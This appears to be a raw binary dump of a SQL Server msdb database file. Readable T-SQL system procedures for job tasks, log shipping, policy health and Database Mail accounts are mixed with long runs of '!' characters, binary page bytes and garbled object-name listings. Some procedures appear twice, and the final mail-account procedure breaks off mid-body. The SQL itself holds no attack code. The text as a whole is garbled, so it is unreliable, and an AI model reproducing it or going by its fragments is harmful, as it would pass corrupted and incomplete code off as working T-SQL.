update_jobdbo63}.4sp_update_jobdbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z$j,|:t2l*J
|
8
l(\

L

		<	p,`PpDt"LzJ`$@p<`S(b
Ovq46PVsyspolicy_object_sets_internaldbo6٥8>syspolicy_policiesdbo68>syspolicy_policiesdbo65PVsyspolicy_object_sets_internaldbo6nPVsyspolicy_object_sets_internaldbo6.
8>syspolicy_policiesdbo6.8>syspolicy_policiesdbo6/6syspolicy_policies6T:06syspolicy_policies6^18>syspolicy_policiesdbo6q56syspolicy_policies668>syspolicy_policiesdbo6Ux98>syspolicy_policiesdbo6T<8>syspolicy_policiesdbo69I=8>syspolicy_policiesdbo6Y1?
6syspolicy_policies6Y1?8>syspolicy_policiesdbo6.DRPVsyspolicy_object_sets_internaldbo6.DR8>syspolicy_policiesdbo6XR8S8>syspolicy_policiesdbo6v,TPVsyspolicy_object_sets_internaldbo6v,T8>syspolicy_policiesdbo6ʚ UPVsyspolicy_object_sets_internaldbo6ʚ U8>syspolicy_policiesdbo6 tZ6syspolicy_policies6Y[6syspolicy_policies6&Kf8>syspolicy_policiesdbo6?pHsyspolicy_policies_internal6?pPVsyspolicy_object_sets_internaldbo6!s8>syspolicy_policiesdbo6#Ft8>syspolicy_policiesdbo6
Hsyspolicy_policies_internal6
JPsyspolicy_policies_internaldbo68>syspolicy_policiesdbo6/8>syspolicy_policiesdbo6S8>syspolicy_policiesdbo6ƻ&8>syspolicy_policiesdbo6'8>syspolicy_policiesdbo6 "8>syspolicy_policiesdbo6D#8>syspolicy_policiesdbodules_localserver_view69Lsysschedules_localserver_view6ILsysschedules_localserver_view6JLsysschedules_localserver_view6\mSLsysschedules_localserver_view6NTsysschedules_localserver_viewdbo6&nNTsysschedules_localserver_viewdbo6INTsysschedules_localserver_viewdbo6JNTsysschedules_localserver_viewdbo64wKNTsysschedules_localserver_viewdbo6=y(syssessions6P&sysssislog6wZu&sysssislog6:K(.sysssislogdbo6I8yR(.sysssislogdbo6UU(.sysssislogdbo6v<sysssispackagefolders6[x<sysssispackagefolders63z<sysssispackagefolders6x}<sysssispackagefolders6Č~<sysssispackagefolders6!>Dsysssispackagefoldersdbo6#
u0sysssispackages6'%"0sysssispackages6m$0sysssispackages6ґ%0sysssispackages6{a0sysssispackages6b0sysssispackages6~u0sysssispackages6"w0sysssispackages6[x0sysssispackages6y0sysssispackages6X{0sysssispackages6?||0sysssispackages60sysssispackages6!28sysssispackagesdbo6H28sysssispackagesdbo6Q28sysssispackagesdbo6Kģc28sysssispackagesdbo6!Jo28sysssispackagesdbo68>syspolicy_policiesdbo65PVsyspolicy_object_sets_internaldbo6nPVsyspolicy_object_sets_internaldbo67,,2sysschedulesdbo6.JPsyspolicy_target_set_levelsdbo6.>Dsyspolicy_target_setsdbo6.JPsyspolicy_policies_internaldbo6.,2sysschedulesdbo6.
8>syspolicy_policiesdbo6.JPsyspolicy_policies_internaldbo6.,2sysschedulesdbo6.8>syspolicy_policiesdbo6/6syspolicy_policies6T:0JPsyspolicy_target_set_levelsdbo6T:0>Dsyspolicy_target_setsdbo6T:06syspolicy_policies6T:0	`fsyspolicy_system_health_state_internaldbo6^18>syspolicy_policiesdbo6Ƃ2JPsyspolicy_policies_internaldbo6Ƃ2jpsyspolicy_policy_execution_history_internaldbo6Ƃ2`fsyspolicy_system_health_state_internaldbo63JPsyspolicy_policies_internaldbo6q5JPsyspolicy_target_set_levelsdbo6q5>Dsyspolicy_target_setsdbo6q56syspolicy_policies668>syspolicy_policiesdbo66`fsyspolicy_system_health_state_internaldbo677JPsyspolicy_policy_categoriesdbo6\8\bsyspolicy_policy_categories_internaldbo6Ux9\bsyspolicy_policy_categories_internaldbo6Ux98>syspolicy_policiesdbo6Ux9bhsyspolicy_policy_category_subscriptionsdbo6l:^dsyspolicy_policy_categories_internal dbo6`;^dsyspolicy_policy_categories_internal dbo6T<JPsyspolicy_policy_categoriesdbo6T<JPsyspolicy_policies_internaldbo6T<,2sysschedulesdbo6T<8>syspolicy_policiesdbo69I=8>syspolicy_policiesdbo6Y1?
6syspolicy_policies6Y1?8>syspolicy_policiesdbo`:Jd&b:hx:		p
2
x	:	2Zx2`<MeCɭi07e 8CREATE PROCEDURE sp_target_server_summary
  @target_server sysname = NULL
AS
BEGIN
  SET NOCOUNT ON

  SELECT server_id,
         server_name,
        'local_time' = DATEADD(SS, DATEDIFF(SS, last_poll_date, GETDATE()), local_time_at_last_poll),
         last_poll_date,
        'unread_instructions' = (SELECT COUNT(*)
                                 FROM msdb.dbo.sysdownloadlist sdl
                                 WHERE (UPPER(sdl.target_server) = UPPER(sts.server_name))
                                   AND (sdl.status = 0)),
        'blocked' = (SELECT COUNT(*)
                     FROM msdb.dbo.sysdownloadlist sdl
                     WHERE (UPPER(sdl.target_server) = UPPER(sts.server_name))
                       AND (sdl.error_message IS NOT NULL)),
         poll_interval
  FROM msdb.dbo.systargetservers sts
  WHERE ((@target_server IS NULL) OR (UPPER(@target_server) = UPPER(sts.server_name)))
END
0;++f 8CREATE PROCEDURE sp_uniquetaskname
  @seed NVARCHAR(92)
AS
BEGIN
  DECLARE @newest_suffix INT

  SET NOCOUNT ON

  -- We're going to add a suffix of 8 characters so make sure the seed is at most 84 characters
  SELECT @seed = LTRIM(RTRIM(@seed))
  IF (DATALENGTH(@seed) > 0)
    SELECT @seed = SUBSTRING(@seed, 1, 84)

  -- Find the newest (highest) suffix so far
  SELECT @newest_suffix = MAX(CONVERT(INT, RIGHT(name, 8)))
  FROM msdb.dbo.sysjobs -- DON'T use sysjobs_view here!
  WHERE (name LIKE N'%[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]')

  -- Generate the task name by appending the 'newest suffix' value (plus one) to the seed
  IF (@newest_suffix IS NOT NULL)
  BEGIN
    SELECT @newest_suffix = @newest_suffix + 1
    SELECT 'TaskName' = CONVERT(NVARCHAR(92), @seed + REPLICATE(N'0', 8 - (DATALENGTH(CONVERT(NVARCHAR, @newest_suffix)) / 2)) + CONVERT(NVARCHAR, @newest_suffix))
  END
  ELSE
    SELECT 'TaskName' = CONVERT(NVARCHAR(92), @seed + N'00000001')
END
0tOg D8/hnd#;0sh H
8
CREATE PROCEDURE sp_droptask
  @name      sysname = NULL, -- Was VARCHAR(100) in 6.x
  @loginname sysname = NULL, -- Was VARCHAR(30) in 6.x
  @id        INT     = NULL
AS
BEGIN
  DECLARE @retval INT
  DECLARE @job_id UNIQUEIDENTIFIER
  DECLARE @category_id int

  SET NOCOUNT ON

  IF ((@name      IS NULL)     AND (@id    IS NULL)     AND (@loginname IS NULL)) OR
     ((@name      IS NOT NULL) AND ((@id   IS NOT NULL) OR  (@loginname IS NOT NULL))) OR
     ((@id        IS NOT NULL) AND ((@name IS NOT NULL) OR  (@loginname IS NOT NULL))) OR
     ((@loginname IS NOT NULL) AND ((@name IS NOT NULL) OR  (@id        IS NOT NULL)))
  BEGIN
    RAISERROR(14245, -1, -1)
    RETURN(1) -- Failure
  END

  -- If the name is supplied, get the job_id directly from sysjobs
  IF (@name IS NOT NULL)
  BEGIN
    -- Check if the name is ambiguous
    IF ((SELECT COUNT(*)
         FROM msdb.dbo.sysjobs_view
         WHERE (name = @name)) > 1)
    BEGIN
      RAISERROR(14292, -1, -1, @name, '@id', '@name')
      RETURN(1) -- Failure
    END

    SELECT @job_id = job_id, @category_id = category_id
    FROM msdb.dbo.sysjobs_view
    WHERE (name = @name)

    SELECT @id = task_id
    FROM msdb.dbo.systaskids
    WHERE (job_id = @job_id)

    IF (@job_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@name', @name)
      RETURN(1) -- Failure
    END
  END

  -- If the id is supplied lookup the corresponding job_id from systaskids
  IF (@id IS NOT NULL)
  BEGIN
    SELECT @job_id = job_id
    FROM msdb.dbo.systaskids
    WHERE (task_id = @id)

    -- Check that the job still exists
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysjobs_view
                    WHERE (job_id = @job_id)))
    BEGIN
      SELECT @name = CONVERT(NVARCHAR, @id)
      RAISERROR(14262, -1, -1, '@id', @name)
      RETURN(1) -- Failure
    END

    -- Get the name of this job
    SELECT @name = name, @category_id = category_id
    FROM msdb.dbo.sysjobs_view
    WHERE (job_id = @job_id)
  END

  -- Delete the specific job
  IF (@name IS NOT NULL)
  BEGIN
    BEGIN TRANSACTION

    DELETE FROM msdb.dbo.systaskids
    WHERE (job_id = @job_id)
    EXECUTE @retval = sp_delete_job @job_id = @job_id
    IF (@retval <> 0)
   BEGIN
      ROLLBACK TRANSACTION
     GOTO Quit
   END

   -- If a Logreader or Snapshot task, delete corresponding replication agent information
   IF @category_id = 13 or @category_id = 15
   BEGIN
        EXECUTE @retval = sp_MSdrop_6x_replication_agent @job_id, @category_id
     IF (@retval <> 0)
     BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
     END
   END

    COMMIT TRANSACTION
  END

  -- Delete all jobs belonging to the specified login
  IF (@loginname IS NOT NULL)
  BEGIN
    BEGIN TRANSACTION

    DELETE FROM msdb.dbo.systaskids
    WHERE job_id IN (SELECT job_id
                     FROM msdb.dbo.sysjobs_view
                     WHERE (owner_sid = SUSER_SID(@loginname)))
    EXECUTE @retval = sp_manage_jobs_by_login @action = 'DELETE',
                                              @current_owner_login_name = @loginname
    IF (@retval <> 0)
    BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
    END     

    COMMIT TRANSACTION
  END

Quit:
  RETURN(@retval) -- 0 means success

END
0e@ 8CREATE PROCEDURE sp_delete_log_shipping_monitor_info
  @primary_server_name                 sysname,
  @primary_database_name               sysname,
  @secondary_server_name               sysname,
  @secondary_database_name             sysname
AS BEGIN
  -- check that the primary exists
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name))
  BEGIN
    DECLARE @pp sysname
    SELECT @pp = @primary_server_name + N'.' + @primary_database_name
    RAISERROR (14262, 16, 1, N'primary_server_name.primary_database_name', @pp)
    RETURN (1) -- error
  END

  -- check that the secondary exists
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_secondaries WHERE secondary_server_name = @secondary_server_name AND secondary_database_name = @secondary_database_name))
  BEGIN
    DECLARE @sp sysname
    SELECT @sp = @secondary_server_name + N'.' + @secondary_database_name
    RAISERROR (14262, 16, 1, N'secondary_server_name.secondary_database_name', @sp)
    RETURN (1) -- error
  END

  BEGIN TRANSACTION

  -- delete the secondary
  DELETE FROM msdb.dbo.log_shipping_secondaries WHERE secondary_server_name = @secondary_server_name AND secondary_database_name = @secondary_database_name
  IF (@@error <> 0)
    goto rollback_quit

  -- if there are no more secondaries for this primary then delete it
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries p, msdb.dbo.log_shipping_secondaries s WHERE p.primary_id = s.primary_id AND primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name))
  BEGIN
    DELETE FROM msdb.dbo.log_shipping_primaries WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name
    IF (@@error <> 0)
      goto rollback_quit
  END
 COMMIT TRANSACTION
 RETURN (0)

rollback_quit:
  ROLLBACK TRANSACTION
  RETURN(1) -- Failure
END
0We %8((1))0xe %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<{Iny0;++f 8CREATE PROCEDURE sp_uniquetaskname
  @seed NVARCHAR(92)
AS
BEGIN
  DECLARE @newest_suffix INT

  SET NOCOUNT ON

  -- We're going to add a suffix of 8 characters so make sure the seed is at most 84 characters
  SELECT @seed = LTRIM(RTRIM(@seed))
  IF (DATALENGTH(@seed) > 0)
    SELECT @seed = SUBSTRING(@seed, 1, 84)

  -- Find the newest (highest) suffix so far
  SELECT @newest_suffix = MAX(CONVERT(INT, RIGHT(name, 8)))
  FROM msdb.dbo.sysjobs -- DON'T use sysjobs_view here!
  WHERE (name LIKE N'%[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]')

  -- Generate the task name by appending the 'newest suffix' value (plus one) to the seed
  IF (@newest_suffix IS NOT NULL)
  BEGIN
    SELECT @newest_suffix = @newest_suffix + 1
    SELECT 'TaskName' = CONVERT(NVARCHAR(92), @seed + REPLICATE(N'0', 8 - (DATALENGTH(CONVERT(NVARCHAR, @newest_suffix)) / 2)) + CONVERT(NVARCHAR, @newest_suffix))
  END
  ELSE
    SELECT 'TaskName' = CONVERT(NVARCHAR(92), @seed + N'00000001')
END
0tOg D8/hnd#;0JEf Y8
CREATE PROCEDURE dbo.sysmail_delete_account_sp
   @account_id int = NULL, -- must provide either id or name
   @account_name sysname = NULL
AS
   SET NOCOUNT ON
  
   DECLARE @rc int
   DECLARE @accountid int
   DECLARE @credential_name sysname

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(1)

   -- Get all the credentials has been stored for this account
   DECLARE cur CURSOR FOR
      SELECT c.name
      FROM sys.credentials as c
      JOIN msdb.dbo.sysmail_server as ms
         ON c.credential_id = ms.credential_id
      WHERE account_id = @accountid

   OPEN cur
   FETCH NEXT FROM cur INTO @credential_name
   WHILE @@FETCH_STATUS = 0
   BEGIN
      -- drop the credential
      EXEC msdb.dbo.sysmail_drop_user_credential_sp @credential_name = @credential_name

      FETCH NEXT FROM cur INTO @credential_name
   END

   CLOSE cur
   DEALLOCATE cur
     
   DELETE FROM msdb.dbo.sysmail_account
   WHERE account_id = @accountid
   
   RETURN(0)
0 ;f 8
CREATE PROCEDURE sp_remove_log_shipping_monitor_account
AS
BEGIN
  SET NOCOUNT ON
  EXECUTE sp_dropuser N'log_shipping_monitor_probe'
  EXECUTE sp_droplogin N'log_shipping_monitor_probe'
END
0Y_g 	8
CREATE PROCEDURE sp_log_shipping_monitor_backup AS
BEGIN
  DECLARE @primary_id                  sysname
  DECLARE @primary_server_name         sysname 
  DECLARE @primary_database_name       sysname 
  DECLARE @maintenance_plan_id         UNIQUEIDENTIFIER
  DECLARE @backup_threshold            INT
  DECLARE @threshold_alert             INT 
  DECLARE @threshold_alert_enabled     BIT 
  DECLARE @last_backup_filename        sysname 
  DECLARE @last_updated                DATETIME
  DECLARE @planned_outage_start_time   INT
  DECLARE @planned_outage_end_time     INT 
  DECLARE @planned_outage_weekday_mask INT
  DECLARE @sync_status                 INT
  DECLARE @backup_delta                INT
  DECLARE @delta_string                NVARCHAR (10)
  DECLARE @dt                             DATETIME

  SELECT @dt = GETDATE ()

  SET NOCOUNT ON

  DECLARE bmlsp_cur CURSOR FOR
    SELECT primary_id, 
           primary_server_name, 
           primary_database_name, 
         maintenance_plan_id, 
           backup_threshold, 
           threshold_alert, 
           threshold_alert_enabled, 
           last_backup_filename, 
           last_updated,
           planned_outage_start_time, 
           planned_outage_end_time, 
           planned_outage_weekday_mask 
    FROM msdb.dbo.log_shipping_primaries
    FOR READ ONLY

  OPEN bmlsp_cur
loop:
  FETCH NEXT FROM bmlsp_cur 
  INTO @primary_id, 
       @primary_server_name, 
      @primary_database_name, 
      @maintenance_plan_id,
       @backup_threshold, 
      @threshold_alert, 
      @threshold_alert_enabled, 
      @last_backup_filename, 
      @last_updated, 
      @planned_outage_start_time,
       @planned_outage_end_time, 
      @planned_outage_weekday_mask

  IF @@FETCH_STATUS <> 0 -- nothing more to fetch, finish the loop
    GOTO _loop

  EXECUTE @sync_status = sp_log_shipping_in_sync
    @last_updated,
    @dt,
     @backup_threshold,
   @planned_outage_start_time,
   @planned_outage_end_time,
    @planned_outage_weekday_mask,
   @threshold_alert_enabled,
   @backup_delta OUTPUT

   IF (@sync_status < 0)
   BEGIN
     SELECT @delta_string = CONVERT (NVARCHAR(10), @backup_delta)
     RAISERROR (@threshold_alert, 16, 1, @primary_server_name, @primary_database_name, @delta_string)
   END

  GOTO loop
_loop:
  CLOSE bmlsp_cur
  DEALLOCATE bmlsp_cur
END
0&Kf 8CREATE TRIGGER [syspolicy_update_system_health_state] ON [dbo].[syspolicy_policy_execution_history_internal]
AFTER UPDATE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

    -- if the entire policy has been checked delete all entries 
    -- regarding that policy
    DELETE FROM [dbo].[syspolicy_system_health_state_internal] 
        WHERE policy_id in (SELECT policy_id FROM inserted WHERE is_full_run = 1)

    -- Note: in the queries below new records are added only for
    -- policies that are enabled for automation

    -- if the policy is evaluated against a single target
    -- delete the old entry
    DELETE FROM [dbo].[syspolicy_system_health_state_internal] 
        WHERE policy_id in 
            (SELECT i.policy_id FROM inserted i WHERE i.is_full_run = 0) AND
                target_query_expression_with_id in (SELECT target_query_expression_with_id 
                                                    FROM [dbo].[syspolicy_policy_execution_history_details_internal] d 
                                                    INNER JOIN inserted i2 ON i2.history_id = d.history_id 
                                                    WHERE i2.is_full_run = 0)


    -- insert the detail rows, but only for failures
    -- this is done both for the full runs and for the partial runs
    -- we will not insert anything if this is a ghost record, i.e. 
    -- target_query_expression_with_id is null 
    -- this will happen when we log prevent policies
    INSERT INTO [dbo].[syspolicy_system_health_state_internal] 
        (policy_id, last_run_date, target_query_expression_with_id, target_query_expression, result)
    SELECT i.policy_id, d.execution_date, d.target_query_expression_with_id, d.target_query_expression, d.result
        FROM inserted i 
        INNER JOIN [dbo].[syspolicy_policy_execution_history_details_internal] d on i.history_id = d.history_id
        INNER JOIN [dbo].[syspolicy_policies] p on i.policy_id = p.policy_id
        WHERE d.result = 0 AND p.is_enabled = 1 AND d.target_query_expression_with_id != N''
        
    -- delete all the success detail rows with no expression
    -- these are rows inserted so that we can update the system health state
    -- make an exception if the global switch says we should keep those records
    IF( 0 = (SELECT ISNULL(convert(bit, current_value), 0) FROM msdb.dbo.syspolicy_configuration WHERE name = 'LogOnSuccess'))
    BEGIN
        DELETE FROM d
        FROM [dbo].[syspolicy_policy_execution_history_details_internal] d
        INNER JOIN inserted i ON i.history_id = d.history_id
            WHERE d.result_detail = N''
    END
END
0K?g :8
CREATE VIEW [dbo].[syspolicy_policy_execution_history]
AS
    SELECT 
        history_id,
        policy_id,
        start_date,
        end_date,
        result,
        exception_message,
        exception
    FROM [dbo].[syspolicy_policy_execution_history_internal]
!!!!!!!!!!!!!!!!!!!!!!!!	h	`<vIF?0!e 8
CREATE PROCEDURE [dbo].[sysmail_update_account_sp]
   @account_id int = NULL, -- must provide either id or name
   @account_name sysname = NULL,
   @email_address nvarchar(128) = NULL,
   @display_name nvarchar(128) = NULL,
   @replyto_address nvarchar(128) = NULL,
   @description nvarchar(256) = NULL,
   @mailserver_name sysname = NULL,  
   @mailserver_type sysname = NULL,  
   @port int = NULL,
   @username sysname = NULL,
   @password sysname = NULL,
   @use_default_credentials bit = NULL,
   @enable_ssl bit = NULL,
   @timeout int = NULL,
   @no_credential_change bit = NULL  -- BOOL
  -- WITH EXECUTE AS OWNER --Allows access to sys.credentials
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @accountid int
   DECLARE @credential_id int
   DECLARE @credential_name sysname

   SELECT @no_credential_change = ISNULL(@no_credential_change, 0)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 1, @accountid OUTPUT
   IF @rc <> 0
      RETURN(1)

   IF(@email_address IS NULL)
   BEGIN
   SELECT @email_address = email_address FROM msdb.dbo.sysmail_account WHERE account_id=@accountid
   END


   IF(@display_name IS NULL)
   BEGIN
   SELECT @display_name = display_name FROM msdb.dbo.sysmail_account WHERE account_id=@accountid
   END

   IF(@replyto_address IS NULL)
   BEGIN
   SELECT @replyto_address = replyto_address FROM msdb.dbo.sysmail_account WHERE account_id=@accountid
   END

   EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @replyto_address, @parameter_name='@replyto_address' 
   IF (@rc <> 0)
      RETURN @rc

   IF(@description IS NULL)
   BEGIN
   SELECT @description = description FROM msdb.dbo.sysmail_account WHERE account_id=@accountid
   END


   IF(@port IS NULL)
   BEGIN
   SELECT @port = port FROM msdb.dbo.sysmail_server WHERE account_id=@accountid
   END

   IF(@use_default_credentials IS NULL)
   BEGIN
   SELECT @use_default_credentials = use_default_credentials FROM msdb.dbo.sysmail_server WHERE account_id=@accountid
   END

   IF(@enable_ssl IS NULL)
   BEGIN
   SELECT @enable_ssl = enable_ssl FROM msdb.dbo.sysmail_server WHERE account_id=@accountid
   END

   IF(@timeout IS NULL)
   BEGIN
   SELECT @timeout = timeout FROM msdb.dbo.sysmail_server WHERE account_id=@accountid
   END
   
   IF(@mailserver_type IS NULL)
   BEGIN
   SELECT @mailserver_type = servertype FROM msdb.dbo.sysmail_server WHERE account_id=@accountid
   END

 
   EXEC @rc = msdb.dbo.sysmail_verify_accountparams_sp 
            @use_default_credentials = @use_default_credentials,
            @mailserver_type = @mailserver_type OUTPUT, -- validates and returns trimmed value
            @username = @username OUTPUT, -- returns trimmed value
            @password = @password OUTPUT  -- returns empty string if @username is given and @password is null 
   IF(@rc <> 0)
      RETURN (1)

   --transact this in case credential updates fail
   BEGIN TRAN
   -- update account table
   IF (@account_name IS NOT NULL)
      IF (@email_address IS NOT NULL)
         UPDATE msdb.dbo.sysmail_account
         SET name=@account_name, description=@description, email_address=@email_address, display_name=@display_name, replyto_address=@replyto_address
         WHERE account_id=@accountid
      ELSE
         UPDATE msdb.dbo.sysmail_account
         SET name=@account_name, description=@description, display_name=@display_name, replyto_address=@replyto_address
         WHERE account_id=@accountid

   ELSE
      IF (@email_address IS NOT NULL)
         UPDATE msdb.dbo.sysmail_account
         SET description=@description, email_address=@email_address, display_name=@display_name, replyto_address=@replyto_address
         WHERE account_id=@accountid
      ELSE
         UPDATE msdb.dbo.sysmail_account
         SET description=@description, display_name=@display_name, replyto_address=@replyto_address
         WHERE account_id=@accountid
      
   -- see if a credential has been stored for this account
   SELECT @credential_name = name,
         @credential_id = c.credential_id
   FROM sys.credentials as c
     JOIN msdb.dbo.sysmail_server as ms
       ON c.credential_id = ms.credential_id
   WHERE account_id = @accountid 
     AND servertype = @mailserver_type

   --update the credential store
   IF((@credential_name IS NOT NULL) AND (@no_credential_change = 0))
   BEGIN
      --Remove the unneed credential
      IF(@username IS NULL)
      BEGIN
         SET @credential_id = NULL
         EXEC @rc = msdb.dbo.sysmail_drop_user_credential_sp 
                        @credential_name = @credential_name
      END
      -- Update the credential
      ELSE
      BEGIN
         EXEC @rc = msdb.dbo.sysmail_alter_user_credential_sp
                        @credential_name = @credential_name,
                        @username = @username,
                        @password = @password
      END

      IF(@rc <> 0)
      BEGIN 
         ROLLBACK TRAN
         RETURN (1)
      END
   END
   -- create a new credential if one doesn't exist
   ELSE IF(@credential_name IS NULL AND @username IS NOT NULL)
   BEGIN
      EXEC @rc = msdb.dbo.sysmail_create_user_credential_sp
                     @username = @username,
                     @password = @password,
                     @credential_id = @credential_id  OUTPUT
      IF(@rc <> 0)
      BEGIN 
         ROLLBACK TRAN
         RETURN (1)
      END
   END

   -- update server table
   IF (@no_credential_change = 0)
   BEGIN
   IF (@mailserver_name IS NOT NULL)
      UPDATE msdb.dbo.sysmail_server 
         SET servername=@mailserver_name, port=@port, username=@username, credential_id = @credential_id, use_default_credentials = @use_default_credentials, enable_ssl = @enable_ssl, timeout = @timeout
      WHERE account_id=@accountid AND servertype=@mailserver_type
   
   ELSE
      UPDATE msdb.dbo.sysmail_server 
         SET port=@port, username=@username, credential_id = @credential_id, use_default_credentials = @use_default_credentials, enable_ssl = @enable_ssl, timeout = @timeout
      WHERE account_id=@accountid AND servertype=@mailserver_type
   END
   ELSE
   BEGIN
      -- Since no_credential_change is true, @username is empty. Do not pass it.
      -- If we gave @username, sysmail_server would be set with the empty @username.
